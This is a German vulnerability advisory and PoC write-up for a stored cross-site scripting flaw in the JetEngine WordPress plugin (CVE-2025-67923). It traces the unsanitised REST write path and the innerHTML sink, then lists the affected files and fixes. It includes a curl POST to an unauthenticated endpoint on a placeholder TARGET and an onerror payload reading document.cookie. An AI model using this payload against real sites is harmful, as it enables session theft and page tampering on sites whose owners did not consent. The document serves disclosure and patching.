
JetEngine <= 3.7.7 — Nicht authentifiziertes gespeichertes Cross-Site-Scripting über die CCT REST API
Datum: 11. März 2026 CVSS-Score: 7.1 (Hoch) CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Betroffenes Plugin: JetEngine <= 3.7.7 Plugin-Slug: jet-engine Behoben in: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Forscher: Bonds (über Patchstack) Gemeldet: 19. Oktober 2025 Offengelegt: Januar 2026 Getestete WordPress-Version: Aktuellste
CVE-2025-67923 ist eine Schwachstelle für nicht authentifiziertes gespeichertes Cross-Site-Scripting im JetEngine-WordPress-Plugin, die alle Versionen bis einschließlich 3.7.7 betrifft. Ein nicht authentifizierter Angreifer kann über die öffentliche REST-API beliebiges HTML/JavaScript in ein Textfeld eines Custom Content Type (CCT) schreiben. Dieses wird anschließend über eine innerHTML-Senke im JavaScript des Maps-Listing-Widgets unbereinigt in das DOM injiziert, wenn ein Opfer eine Seite besucht, die dieses Widget enthält.
Der Angriff erfordert keine Authentifizierung und keine Berechtigungen. Er erfordert lediglich Folgendes:
public gesetzt ist.✅ SCHWACHSTELLE BESTÄTIGT — Gespeicherte XSS-Payload geschrieben und ausgeführt
Bestätigte Auswirkungen:
Die Schwachstelle ist eine Kombination aus zwei unabhängigen Fehlern:
Fehlende Eingabebereinigung (Speicherung): Die Methode sanitize_field_value() des CCT-Item-Handlers besitzt keinen Bereinigungspfad für Felder vom Typ text. Der default:-Fall konvertiert nur Zeitstempel — rohes HTML passiert unverändert und wird in der Datenbank gespeichert.
DOM-basierte XSS-Senke (Rendering): Das Maps-Listing-Widget liest den gespeicherten Feldwert über get_marker_label(), kapselt ihn für das HTML-Attribut data-markers in htmlspecialchars(json_encode(...)), und das JavaScript-Frontend liest das Attribut mit getAttribute() (das HTML-Entitäten dekodiert) und fügt markerData.label anschließend direkt über innerHTML ein — wodurch eingebettetes HTML/JavaScript ausgeführt wird.
Der öffentliche REST-Controller des CCT prüft Berechtigungen über check_user_permissions():
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // No authentication required
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
Wenn ein CCT mit rest_put_access = 'public' konfiguriert ist (eine unterstützte, dokumentierte Konfiguration für öffentlich zugängliche Formulare), ist der Endpunkt vollständig ohne Authentifizierung erreichbar. Jeder HTTP-Client kann eine POST-Anfrage an /wp-json/jet-cct/{slug} senden.
Der REST-Handler ruft $handler->update_item($params) auf, wodurch sanitize_field_value() erreicht wird:
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // sanitizes sub-fields
// ...
case 'checkbox': // handles boolean arrays
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // sanitizes media JSON
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // sanitized
break;
default:
// TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
Ein Feld vom Typ text erreicht den default:-Zweig. maybe_to_timestamp() gibt den Wert bei Nicht-Datum-Strings unverändert zurück. Die XSS-Payload `` wird unverändert gespeichert.
Wenn das Maps-Listing-Widget rendert, liest get_marker_label() das Feld:
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// No esc_html() here — raw value returned
}
break;
}
return $result; // Returns ""
}
Der zurückgegebene Wert wird in das Marker-Daten-Array eingefügt:
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // raw XSS payload
// ...
);
Das Marker-Array wird für ein HTML-Attribut kodiert:
// render.php:247
return htmlspecialchars( json_encode( $result ) );
json_encode serialisiert `` als den String "". htmlspecialchars kodiert anschließend das gesamte JSON als HTML und erzeugt:
[{...,"label":"<img src=x onerror=alert(1)>",...}]
Dies wird in das HTML-Attribut data-markers geschrieben. Die Kodierung schützt nur die Attributgrenze. Wenn JavaScript das Attribut liest, dekodiert der Browser die HTML-Entitäten und stellt die ursprünglichen Zeichen wieder her:
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
In frontend-maps.js wird der rohe Beschriftungs-String direkt in einen HTML-Inhaltsstring eingefügt:
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
Dieser Inhaltsstring wird anschließend als innerHTML des Marker-Elements gesetzt:
// mapbox-maps.js:175
el.innerHTML = data.content; // XSS FIRES
// leaflet-maps.js:34
contentHtml.innerHTML = content; // XSS FIRES
Jeder Besucher, der eine Seite mit dem Maps-Listing-Widget lädt, löst die Payload aus.
maps-listings und custom-content-types sind aktiviert.locations (Slug: locations) existiert mit:
rest_put_enabled = truerest_put_access = 'public'text mit dem Namen labelmarker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
Antwort:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
Antwort:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
Das ``-Tag wird unverändert gespeichert — es erfolgte keine Bereinigung.
Jeder authentifizierte oder nicht authentifizierte Besucher, der eine Seite mit dem Maps-Listing-Widget lädt, führt die Payload aus. Das gerenderte HTML-Attribut enthält:
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
JavaScript liest data-markers, dekodiert HTML-Entitäten, parst das JSON und fügt es in das DOM ein:
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)
Attacker WordPress REST API Victim Browser
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() FIRES
sanitize_field_value() behandelt wysiwyg explizit mit einer auf wp_kses basierenden Bereinigung, platziert aber alle anderen String-Typen in einen default:-Zweig, der kein HTML-Escaping durchführt. Die Annahme, dass text-Felder Klartext sind, wird verletzt, wenn diese Werte später über den innerHTML-Pfad des Maps-Widgets als HTML gerendert werden.
htmlspecialchars(json_encode($result)) wird angewendet, um die HTML-Attributgrenze zu schützen. Das ist korrekt und notwendig — aber es reicht nicht aus, um XSS zu verhindern, wenn der Wert später über JavaScript ausgelesen und über innerHTML in das DOM eingefügt wird. Die Kodierung ist durch den Browser umkehrbar. Die korrekte Lösung besteht darin, esc_html() (oder htmlspecialchars) auf den einzelnen label-Wert vor der JSON-Kodierung anzuwenden, sodass die Payload im JSON als entitätskodierter Text gespeichert wird. Wenn JavaScript sie über innerHTML einfügt, rendert der Browser <img> als Text und nicht als HTML-Tag.
Alternativ kann in dem JavaScript für das Beschriftungsfeld innerHTML durch textContent ersetzt werden.
Der Schreibpfad der REST-API (update_item) behandelt nicht alle gespeicherten Werte als potenzielle HTML-Senken. Die Bereinigungsrichtlinie ist nur pro Feldtyp definiert, wobei text-Felder stillschweigend ausgenommen sind, obwohl sie über das Maps-Widget im Frontend als HTML gerendert werden.
| Datum | Ereignis |
|---|---|
| 19. Oktober 2025 | Schwachstelle von Forscher "Bonds" über Patchstack gemeldet |
| Januar 2026 | Öffentliche Offenlegung |
| Januar 2026 | JetEngine 3.7.8 mit Fix veröffentlicht |
| 11. März 2026 | Unabhängig mit vollständigem PoC reproduziert |
| Datei | Problem |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | create_item_permissions_check gibt true zurück, wenn CCT rest_put_access = 'public' — keine Authentifizierung erforderlich |
includes/modules/custom-content-types/inc/item-handler.php:489 | default:-Zweig von sanitize_field_value() — keine HTML-Bereinigung für text-Felder |
includes/modules/maps-listings/inc/render.php:233 | get_marker_label() gibt rohen Metawert ohne esc_html() zurück |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — schützt nur die Attributgrenze, keine innerHTML-Injektion |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — rohe Beschriftung wird in HTML-String eingefügt |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — XSS-Ausführungssenke |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — XSS-Ausführungssenke |
| Behebung | Datei | Beschreibung |
|---|
| text-Felder beim Speichern bereinigen | item-handler.php:sanitize_field_value() | $value = wp_kses($value, []) oder sanitize_text_field($value) im default:-Zweig hinzufügen |
| Beschriftung beim Rendern escapen | render.php:get_marker_label() | esc_html($result) anwenden, bevor der Beschriftungswert zurückgegeben wird |
textContent anstelle von innerHTML für Beschriftungen verwenden | frontend-maps.js, mapbox-maps.js, leaflet-maps.js | el.innerHTML = data.content durch sichere DOM-Konstruktion ersetzen, wenn der Inhalt reiner Beschriftungstext ist |
| Standardwert für REST-Schreibzugriff einschränken | Plugin-Einstellungen | Den Standardwert für rest_put_access anstelle von public auf manage_options ändern; eine explizite Zustimmung erforderlich machen |